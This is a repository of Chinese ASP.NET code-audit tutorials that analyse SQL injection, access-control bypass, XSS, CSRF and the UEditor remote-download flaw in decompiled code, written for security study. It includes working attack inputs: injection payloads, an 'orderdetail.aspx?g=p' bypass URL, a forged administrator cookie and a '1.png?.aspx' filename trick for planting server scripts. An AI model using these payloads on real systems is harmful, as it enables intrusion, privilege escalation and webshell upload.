├── README.md
└── asp.net_bug
├── img
├── 2.1.png
├── 2.2.png
├── 2.3.png
├── 2.4.png
├── 2.5.png
├── 2.6.png
├── 3.1.jpg
├── 3.2.png
├── 3.3.png
├── 3.4.png
├── 3.5.png
├── 3.6.png
├── 3.7.png
├── 3.8.png
├── 3.9.png
├── 4.1.png
├── 4.2.png
├── 4.3.png
├── 4.4.png
├── 4.5.png
├── 4.6.png
├── 5.1.png
├── 5.2.png
├── 5.3.png
├── 6.1.png
├── 7.1.png
├── 7.2.png
├── 7.3.png
├── 7.4.png
├── 7.5.png
├── 7.6.png
├── 7.7.png
├── 7.8.png
└── 7.9.png
├── 第一章:注入.md
├── 第三章:其他.md
├── 第二章:越权.md
├── 第五章:ueditor远程下载分析.md
├── 第六章:XmlSerializer反序列化.md
└── 第四章:SiteServer远程下载分析.md
/README.md:
--------------------------------------------------------------------------------
1 | # .NET 相关的学习
2 |
3 |
4 | 名称 | 描述 | 状态
5 | ---- | ----- | ------
6 | asp.net_bug | aspx代码审计 | 待续
7 |
8 |
9 |
10 |
11 | 声明:项目文章,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
12 |
--------------------------------------------------------------------------------
/asp.net_bug/img/2.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.1.png
--------------------------------------------------------------------------------
/asp.net_bug/img/2.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.2.png
--------------------------------------------------------------------------------
/asp.net_bug/img/2.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.3.png
--------------------------------------------------------------------------------
/asp.net_bug/img/2.4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.4.png
--------------------------------------------------------------------------------
/asp.net_bug/img/2.5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.5.png
--------------------------------------------------------------------------------
/asp.net_bug/img/2.6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/2.6.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.1.jpg
--------------------------------------------------------------------------------
/asp.net_bug/img/3.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.2.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.3.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.4.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.5.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.6.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.7.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.8.png
--------------------------------------------------------------------------------
/asp.net_bug/img/3.9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/3.9.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.1.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.2.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.3.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.4.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.5.png
--------------------------------------------------------------------------------
/asp.net_bug/img/4.6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/4.6.png
--------------------------------------------------------------------------------
/asp.net_bug/img/5.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.1.png
--------------------------------------------------------------------------------
/asp.net_bug/img/5.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.2.png
--------------------------------------------------------------------------------
/asp.net_bug/img/5.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/5.3.png
--------------------------------------------------------------------------------
/asp.net_bug/img/6.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/6.1.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.1.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.2.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.3.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.4.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.5.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.6.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.7.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.8.png
--------------------------------------------------------------------------------
/asp.net_bug/img/7.9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aleenzz/.NET_study/0543547390fb0148be5b46fd2b0fe3b95f50ee2c/asp.net_bug/img/7.9.png
--------------------------------------------------------------------------------
/asp.net_bug/第一章:注入.md:
--------------------------------------------------------------------------------
1 | # 0x00 简介
2 |
3 | 基础知识:
4 |
5 | ASP.NET开发可以选用两种框架:`ASP.NET Core`与`ASP.NET Framework`
6 |
7 | ASP.NET开发也分为两种:
8 |
9 | >WebApplication:
10 |
11 | WEB应用程序,改变代码后需要重启网页。具有namespace空间名称,项目中所有的程序代码文件,和独立的文件都被编译成为一个程序集,保存在bin文件夹中。
12 |
13 | >WebSite:
14 |
15 | WEB网站,改变代码后不用重启网页。它没用到namespace空间名称,每个asp页面会转成一个dll。
16 |
17 |
18 | ASP.NET比较关键的文件:
19 |
20 | >web.config:
21 |
22 | 1.web.config是基于XML的文件,可以保存到Web应用程序中的任何目录中,用来储存数据库连接字符、身份安全验证等。
23 |
24 | 2.加载方式:当前目录搜索 -> 上一级到根目录 -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/web.config -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/machine.config -> 都不存在返回null
25 |
26 | >Global.asax:
27 |
28 | 1. Global.asax提供全局可用的代码,从HttpApplication基类派生的类,响应的是应用程序级别会话级别事件,通常ASP.NET的全局过滤代码就是在这里面。
29 |
30 | ASP.NET的常见拓展名:
31 |
32 | 在`%windir%\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config`中有详细定义,这里提取部分简单介绍。
33 |
34 | ```
35 | aspx:应用程序根目录或子目录,包含web控件与其他
36 | cs:类文件
37 | aspx.cs:web窗体后台程序代码文件
38 | ascx:应用程序根目录或子目录,Web 用户控件文件。
39 | asmx:应用程序根目录或子目录,该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法。
40 | asax:应用程序根目录,通常是Global.asax
41 | config:应用程序根目录或子目录,通常是web.config
42 | ashx:应用程序根目录或子目录,该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码。
43 | soap:应用程序根目录或子目录。soap拓展文件
44 |
45 | ```
46 |
47 | # 0x01 环境配置
48 |
49 | 1.[windows 2008R2](https://msdn.itellyou.cn)
50 |
51 | 2.[SSMS数据库管理](https://docs.microsoft.com/zh-cn/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)
52 |
53 | 3.某系统
54 |
55 | 4.[dnSpy反编译](https://github.com/0xd4d/dnSpy)
56 |
57 |
58 | # 0x02 熟悉框架
59 |
60 | 程序的文件目录
61 |
62 | ```
63 | ├─Admin
64 | ├─App_Data //App_Data文件夹应该包含应用程序的本地数据存储
65 | ├─bin // 包含应用程序所需的任何预生成的程序集
66 | ├─bootstrap
67 | ├─css
68 | ├─images
69 | ├─img
70 | ├─install
71 | ├─javascript
72 | ├─m
73 | ├─purchase
74 | ├─style
75 | ├─temp
76 | ├─Template
77 | ├─uploads
78 | └─UserControl
79 |
80 | ```
81 | WEB应用程序会把我们写的代码编译为DLL文件存放在Bin文件夹中,在ASPX文中基本就是一些控件名,所以需要反编译他的DLL来进行审计。
82 |
83 | >Logout.aspx
84 | ```
85 | <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Logout.aspx.cs" Inherits="Book.Logout" %>
86 |
87 |
88 | .
89 | .
90 | .
91 |
92 | ```
93 | 在文件头中有这几个参数:
94 |
95 | 1.Language="C#" //脚本语言
96 |
97 | 2.AutoEventWireup="true" //是否自动关联某些特殊事件
98 |
99 | 3.CodeBehind="Logout.aspx.cs" //指定包含与页关联的类的已编译文件的名称
100 |
101 | 4.Inherits="Book.Logout" //定义供页继承的代码隐藏类
102 |
103 | 我们所关注的也就是`Inherits` 的值,如上所示他指向了`Bin`目录下的`purchase.dll`中`Book`类的`Logout`函数(注:purchase.dll是网站编译的项目名,一般与文件目录对应)
104 |
105 | >web.config
106 |
107 | 这个文件包含了目录权限控制、数据库密码等等
108 |
109 | ```
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 | ```
120 | 比如我们使用的这套程序中[authorization](https://www.cnblogs.com/BlogShen/archive/2012/05/26/2519583.html)定义了`purchase/orderdetail.aspx`匿名可以访问,但是这套程序的本页面还写了一套验证
121 |
122 | ```
123 | if (this.uid <= 0)
124 | {
125 | if (!(base.Request.QueryString["g"] == "p"))
126 | {
127 | base.Response.Redirect("../login.aspx");
128 | return;
129 | }
130 | this.ph_pdf.Visible = false;
131 | }
132 | ```
133 | 所以我们只需要访问`purchase/orderdetail.aspx?g=p`即可绕过跳转
134 | ,其中``表示Form 表单认证。
135 |
136 | 在ASP.NET中全局过滤一般用到`Global.asax`至于他为什么可以起到全局过滤的作用可以看看[ASP.NET三剑客](https://blog.csdn.net/ZARA0830/article/details/80384263)。当然这套程序并没有全局过滤,在提交多个漏洞后,官网公告说这套程序建议内网部署,官网让公网部署的用户设置了身份验证:
137 |
138 | ```
139 |
140 |
141 |
142 |
143 |
144 |
145 | ```
146 | 但是这套程序安装会默认插入多条用户数据。
147 |
148 | # 0x03 审计注入
149 |
150 | 首先我们来看`Login.aspx`,前面已经贴过代码,我们需要反编译`purchase.dll`去找`Book.Login`,这里使用`dyspy`
151 |
152 | 
153 |
154 | `login.aspx`->`Button1_Click`->`LoginForm()`在login中控件名对应dll
155 |
156 | ```
157 | public void LoginForm()
158 | {
159 | int num = UsersHelper.Login(this.txt_username.Text, this.txt_pwd.Text);
160 | if (num > 0)
161 | {
162 | base.Response.Redirect(FormsAuthentication.GetRedirectUrl(num.ToString(), true));
163 | }
164 | else
165 | {
166 | Helper.Result(this, "用户名或者密码错误");
167 | }
168 | }
169 |
170 | ```
171 | 跟进`UsersHelper.Login`
172 |
173 | ```
174 | public static int Login(string username, string password)
175 | {
176 | string sql = " select uid from users_users where username=@username and password=@password; ";
177 | SqlParameter[] prams = new SqlParameter[]
178 | {
179 | new SqlParameter("@username", username),
180 | new SqlParameter("@password", Helper.Encrypt(password))
181 | };
182 | object obj = Instance.ExeScalar(sql, prams);
183 | if (obj == null || obj == DBNull.Value)
184 | {
185 | return -1;
186 | }
187 | int num = int.Parse(obj.ToString());
188 | if (num > 0)
189 | {
190 | UsersHelper.Login(num);
191 | }
192 | return num;
193 | }
194 |
195 | ```
196 | 这里使用的是参数化查询,所以这里不存在注入。登陆后的注入很多这里选一个。
197 |
198 | >search.aspx
199 |
200 | 
201 |
202 | 这里剔除了部分无用代码,可以看到没有经过任何过滤,控件的值就拼接到`text`字符串,由`Instance.ExeDataSet(text)`执行,跟进`ExeDataSet`函数
203 |
204 | 
205 |
206 | 没有过滤直接带入查询,如果你觉得从代码来看sql语句很麻烦,这里可以使用`Sql Sever Profiler`监控SQL语句。
207 |
208 | 
209 |
210 | >Payload: `1%' and 1=user--`
211 |
212 | 前面说到`purchase/orderdetail.aspx?g=p`可以绕过直接访问,具体原因可以移步[《第二章:越权》](第二章:越权.md),那么我们看看这个是否存在注入,如果存在那么将是一个前台注入。
213 |
214 | 
215 |
216 | 看到`69-88`行,要执行命令需要`this.isview`为`true` ,在`30-36`行赋值只需要`t=view`即可
217 | `sid`没有经过任何过滤,同时`ExeDataSet`函数也不存在过滤,即存在注入。
218 |
219 | >Payload: `purchase/orderdetail.aspx?g=p&t=view&sid=1%20and%201=user--`
220 |
221 | 
222 |
223 | # 0x04 文末
224 |
225 | 在ASP.NET中注入比较常见,因为一般程序员都是使用的全局过滤,所以没有全局过滤的话,比较容易发现此类漏洞,也比较简单。
--------------------------------------------------------------------------------
/asp.net_bug/第三章:其他.md:
--------------------------------------------------------------------------------
1 | # 0x00 简介
2 |
3 | 本章内容:
4 |
5 | 1.xss
6 |
7 | 2.csrf
8 |
9 | 3.文件上传
10 |
11 |
12 |
13 | # 0x01 XSS
14 |
15 | 在asp.net中我们插入XSS代码经常会遇到一个错误`A potentially dangerous Request.Form`
16 |
17 | 
18 |
19 | 这是因为在`aspx`文件头一般会定义一句`<%@ Page validateRequest="true" %>` ,当然也可以在`web.config`中定义,值得注意的是`validateRequest`的值默认为`true` ,所以通常情况下asp.net基本上是不存在`XSS`的,除非程序员把他的值改变,如同这套源码的`web.config`。
20 |
21 | ```
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | ```
32 | 简单的分析
33 |
34 | >CK_New.aspx
35 |
36 | `$.post("ajax/Out_Store_Handler.aspx"` 确认提交,通过`ajax`传送到`Out_Store_Handler.aspx`。
37 |
38 | >Out_Store_Handler.aspx
39 |
40 | 
41 |
42 | 整个过程是把传入过来的数据进行替换、插入数据库并没有经行任何过滤。
43 |
44 | 来到输入页面`Purchase_AuditingList.aspx`
45 |
46 | 
47 |
48 | 从上往下看 查询->输出也没有过滤,所以造成了`XSS`。
49 |
50 | 
51 |
52 |
53 |
54 |
55 | # 0x01 CSRF
56 |
57 | 
58 |
59 | 点击`add_Click`获取表单值后直接,传入`UsersHelper.AddUser` 函数最后由`UsersHelper.AddUser`函数插入数据库,整个过程没有验证CSRF。
60 |
61 | 
62 |
63 | # 0x02 文件上传
64 |
65 | 这套程序是最新版本所以任意文件不存在,只做粗略分析
66 |
67 | >_uploadpic.ashx
68 |
69 | ```
70 | private void SaveFile()
71 | {
72 | string text = "../uploads/" + DateTime.Now.ToString("yyyy-MM") + "/";
73 | string text2 = HttpContext.Current.Server.MapPath(text);
74 | if (!Directory.Exists(text2))
75 | {
76 | Directory.CreateDirectory(text2);
77 | }
78 | HttpFileCollection files = HttpContext.Current.Request.Files;
79 | string fileName = Path.GetFileName(files[0].FileName);
80 | string extension = Path.GetExtension(files[0].FileName);
81 | string text3 = Helper.ReadConfigValue(Helper.ReadConfigXml("~/app_data/allow_ext.xml"), "allow_ext").ToString().ToLower();
82 | if (text3.Contains(extension.ToLower()))
83 | {
84 | string str = Guid.NewGuid().ToString() + extension;
85 | string filename = text2 + str;
86 | files[0].SaveAs(filename);
87 | string s = string.Concat(new string[]
88 | {
89 | "{\"jsonrpc\" : \"2.0\", \"result\" :\"",
90 | HttpContext.Current.Server.HtmlEncode(fileName),
91 | "\", \"id\" : \"",
92 | HttpContext.Current.Server.HtmlEncode(text + str),
93 | "\"}"
94 | });
95 | HttpContext.Current.Response.Write(s);
96 | }
97 | }
98 |
99 | ```
100 | 文件名由`uploads` + `DateTime.Now.ToString("yyyy-MM")` + `Guid.NewGuid().ToString()` + `extension` (../uploads/2019-10/30777b5a-bd82-48eb-9104-24afffd97243.png) 所以能控制的只有`extension`,他由`Path.GetExtension` 直接获取文件后缀,但是`ReadConfigXml`读取`~/app_data/allow_ext.xml`的文件做比较,比较典型的白名单所以这里不存在任意文件上传。
101 |
102 | >allow_ext.xml
103 |
104 | ```
105 |
106 |
107 |
108 |
109 |
110 | ```
111 |
112 | # 0x03 文末
113 |
114 | 其他以后遇到慢慢补充
--------------------------------------------------------------------------------
/asp.net_bug/第二章:越权.md:
--------------------------------------------------------------------------------
1 | # 0x00 ASP.NET安全认证
2 |
3 | 1.在`web.config`中有四种验证模式:
4 |
5 | 方式 | 描述
6 | ---- | -----
7 | window|IIS验证,在内联网环境中非常有用
8 | Passport|微软集中式身份验证,一次登录便可访问所有成员站点,需要收费
9 | Form|窗体验证,验证帐号/密码,Web编程最佳最流行的验证方式
10 | None|表示ASP.NET自己根本不执行身份验证,完全依赖IIS身份验证
11 |
12 | 其中`FORM`窗体验证的流程图:
13 |
14 | 
15 |
16 | 开启`form`窗体验证的同时还需要配置`web.config`,不然就会出现问题,一般来说还需要配置最基本的页面访问权限,比如禁止匿名用户访问。
17 |
18 | ```
19 |
20 |
21 |
22 |
23 |
24 |
25 | ```
26 | 当然还可以设置一些管理页面允许某某用户访问等等,在这套程序中开启了`form`然后在程序里面验证的`cookies`,而且并没有设置所有页面的`authorization`。
27 |
28 | 2.除去`web.config`的配置通常还有两种写法来验证是否登陆。
29 |
30 | 第一种:在每个页面判断`Session["UserName"]是否等于null`
31 |
32 | 第二种:类似php的`include`的继承,这也是本套程序使用的方法。
33 |
34 | 首先他定义了一个`purchase.Master` [母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html) 在里面写上了权限验证的代码。
35 |
36 | 
37 |
38 | 然后次母版页头文件会引入`MasterPageFile="~/purchase/purchase.Master"`调用之前都会先调用母版页的`Page_Load`函数来验证是否登陆。当然你也可能遇到没有使用[母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html)的程序,那么他可能是先定义一个`onepage`类继承`page`,然后其他页面继承`onepage`类,与此相同。
39 |
40 |
41 | # 0x01 寻找越权
42 |
43 |
44 | 例1:
45 |
46 | 比如没有任何验证的,也没有继承验证类的,无需登陆访问
47 |
48 |
49 | 
50 |
51 |
52 |
53 | 例2:
54 |
55 | 这套程序验证权限的地方比较少,只是简单的判断了是否登陆,登陆后基本可以访问大多数管理页面这里。
56 |
57 |
58 | 
59 |
60 |
61 |
62 | 例3:
63 |
64 | 
65 |
66 | 在`MyProfile.aspx`文件中 直接获取表单数据进行`update`,并没有验证权限,导致低权限账号也可以`update admin`但是这里是参数化查询,所以不存在注入。修改`admin`的账号密码为`1234567`。
67 |
68 | 
69 |
70 |
71 | 例4:
72 |
73 | 前面说到这套程序里面验证的`cookies`,而且并没有设置所有页面的`authorization`权限,所以我们能不能伪造cookie呢。
74 |
75 | 
76 |
77 | 在`23-26`行判断`this.uid`的值来进行跳转,在`16`行定义了他的值,跟进`UserHelper.GetUserId`
78 |
79 | ```
80 | public static int GetUserId
81 | {
82 | get
83 | {
84 | if (Helper.IsUseAd && HttpContext.Current.Request.Cookies["userinfo"] == null)
85 | {
86 | UsersHelper.LoginAd(UserHelper.GetSamaccountName());
87 | }
88 | if (HttpContext.Current.Request.Cookies["userinfo"] != null)
89 | {
90 | return int.Parse(HttpContext.Current.Request.Cookies["userinfo"]["userid"]);
91 | }
92 | return -1;
93 | }
94 | }
95 |
96 | ```
97 |
98 | `this.uid`等于`cookies`中获取的`userinfo`的值,这一步可以伪造,接着我们看到`30-33`这里他设置了管理员的布尔值,跟进`RoleHelper.IsAdmin`
99 |
100 | ```
101 | public static bool IsAdmin
102 | {
103 | get
104 | {
105 | string name = "IsAdmin";
106 | string admin = RoleHelper.Admin;
107 | bool? flag = HttpContext.Current.Session[name] as bool?;
108 | if (flag == null)
109 | {
110 | flag = new bool?(UserHelper.IsInAnyRoles(admin));
111 | HttpContext.Current.Session[name] = flag;
112 | }
113 | return flag.Value;
114 | }
115 | }
116 |
117 | ```
118 |
119 | 前面从`session`中获取,如果`flag`为`null`则从`UserHelper.IsInAnyRoles(admin)`获取。
120 |
121 | 跟进`IsInAnyRoles`
122 |
123 | 
124 |
125 |
126 | 可以看到只要我们传入的`cookies`中`roles`的等于传入的数组值就返回`true`其中 `public static string Admin = "administrators";`,所以构造`cookies`:`userinfo=userid=1&roles=administrators;`
127 |
128 | 
129 |
--------------------------------------------------------------------------------
/asp.net_bug/第五章:ueditor远程下载分析.md:
--------------------------------------------------------------------------------
1 |
2 | # 0x00 简介
3 |
4 | [UEditor](https://github.com/fex-team/ueditor/releases) 的.NET版本N年前爆出一个远程下载漏洞。
5 |
6 |
7 | # 0x01 漏洞成因
8 |
9 | URL:
10 |
11 | ```
12 | http://192.168.110.129:520/gbk-net/net/controller.ashx?action=catchimage
13 |
14 | ```
15 | 在POC中请求的URL如上,直接定位到文件`controller.ashx`。
16 |
17 | >utf8-net\net\controller.ashx
18 |
19 | ```
20 |
21 | case "listfile":
22 | action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles"));
23 | break;
24 | case "catchimage":
25 | action = new CrawlerHandler(context);
26 | break;
27 |
28 | ```
29 | `catchimage` 调用`CrawlerHandler` 进而跟进`CrawlerHandler`
30 |
31 |
32 | >utf8-net\net\App_Code\CrawlerHandler.cs
33 |
34 |
35 | ```
36 |
37 | public class CrawlerHandler : Handler
38 | {
39 | private string[] Sources;
40 | private Crawler[] Crawlers;
41 | public CrawlerHandler(HttpContext context) : base(context) { }
42 |
43 | public override void Process()
44 | {
45 | Sources = Request.Form.GetValues("source[]");
46 | if (Sources == null || Sources.Length == 0)
47 | {
48 | WriteJson(new
49 | {
50 | state = "参数错误:没有指定抓取源"
51 | });
52 | return;
53 | }
54 | Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
55 | WriteJson(new
56 | {
57 | state = "SUCCESS",
58 | list = Crawlers.Select(x => new
59 | {
60 | state = x.State,
61 | source = x.SourceUrl,
62 | url = x.ServerUrl
63 | })
64 | });
65 | }
66 | }
67 |
68 | ```
69 |
70 | `CrawlerHandler`获取`Sources`判断是否为空,这里只需要构造`Sources[]=url`即可,然后后调用`Crawler Fetch`。
71 |
72 |
73 | >Crawler Fetch()
74 |
75 | ```
76 |
77 | public Crawler Fetch()
78 | {
79 | if (!IsExternalIPAddress(this.SourceUrl))
80 | {
81 | State = "INVALID_URL";
82 | return this;
83 | }
84 | var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;
85 | using (var response = request.GetResponse() as HttpWebResponse)
86 | {
87 | if (response.StatusCode != HttpStatusCode.OK)
88 | {
89 | State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;
90 | return this;
91 | }
92 | if (response.ContentType.IndexOf("image") == -1)
93 | {
94 | State = "Url is not an image";
95 | return this;
96 | }
97 | ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
98 | var savePath = Server.MapPath(ServerUrl);
99 | if (!Directory.Exists(Path.GetDirectoryName(savePath)))
100 | {
101 | Directory.CreateDirectory(Path.GetDirectoryName(savePath));
102 | }
103 | try
104 | {
105 | var stream = response.GetResponseStream();
106 | var reader = new BinaryReader(stream);
107 | byte[] bytes;
108 | using (var ms = new MemoryStream())
109 | {
110 | byte[] buffer = new byte[4096];
111 | int count;
112 | while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)
113 | {
114 | ms.Write(buffer, 0, count);
115 | }
116 | bytes = ms.ToArray();
117 | }
118 | File.WriteAllBytes(savePath, bytes);
119 | State = "SUCCESS";
120 | }
121 | catch (Exception e)
122 | {
123 | State = "抓取错误:" + e.Message;
124 | }
125 | return this;
126 | }
127 | }
128 |
129 | ```
130 |
131 | 这里首先调用函数`IsExternalIPAddress` 判断你是不是一个正常的域名,不是则`return`。
132 | 然后请求传入的`URL`查看是否响应200,再判断`ContentType`是否为`image`,在这里其实只要构建服务器返回的`Content-Type`为`image/xxxx`即可,重点在`PathFormatter`我们跟进。
133 |
134 |
135 | >utf8-net\net\App_Code\PathFormater.cs
136 |
137 | ```
138 |
139 | public static string Format(string originFileName, string pathFormat)
140 | {
141 | if (String.IsNullOrWhiteSpace(pathFormat))
142 | {
143 | pathFormat = "{filename}{rand:6}";
144 | }
145 |
146 | var invalidPattern = new Regex(@"[\\\/\:\*\?\042\<\>\|]");
147 | originFileName = invalidPattern.Replace(originFileName, ""); //替换正则匹配到的为空1.png.aspx
148 |
149 | string extension = Path.GetExtension(originFileName); //.aspx
150 | string filename = Path.GetFileNameWithoutExtension(originFileName);
151 |
152 | pathFormat = pathFormat.Replace("{filename}", filename);
153 | pathFormat = new Regex(@"\{rand(\:?)(\d+)\}", RegexOptions.Compiled).Replace(pathFormat, new MatchEvaluator(delegate(Match match)
154 | {
155 | var digit = 6;
156 | if (match.Groups.Count > 2)
157 | {
158 | digit = Convert.ToInt32(match.Groups[2].Value);
159 | }
160 | var rand = new Random();
161 | return rand.Next((int)Math.Pow(10, digit), (int)Math.Pow(10, digit + 1)).ToString();
162 | }));
163 |
164 | pathFormat = pathFormat.Replace("{time}", DateTime.Now.Ticks.ToString());
165 | pathFormat = pathFormat.Replace("{yyyy}", DateTime.Now.Year.ToString());
166 | pathFormat = pathFormat.Replace("{yy}", (DateTime.Now.Year % 100).ToString("D2"));
167 | pathFormat = pathFormat.Replace("{mm}", DateTime.Now.Month.ToString("D2"));
168 | pathFormat = pathFormat.Replace("{dd}", DateTime.Now.Day.ToString("D2"));
169 | pathFormat = pathFormat.Replace("{hh}", DateTime.Now.Hour.ToString("D2"));
170 | pathFormat = pathFormat.Replace("{ii}", DateTime.Now.Minute.ToString("D2"));
171 | pathFormat = pathFormat.Replace("{ss}", DateTime.Now.Second.ToString("D2"));
172 |
173 | return pathFormat + extension;
174 | }
175 |
176 | ```
177 | 整个逻辑流程就是 `originFileName: 1.png?.aspx -> 1.png.aspx - > .aspx`
178 |
179 | `pathFormat: 获取config.json的格式` 然后拼接返回保存文件的路径,可以把代码单独扣出来运行。
180 |
181 | 
182 |
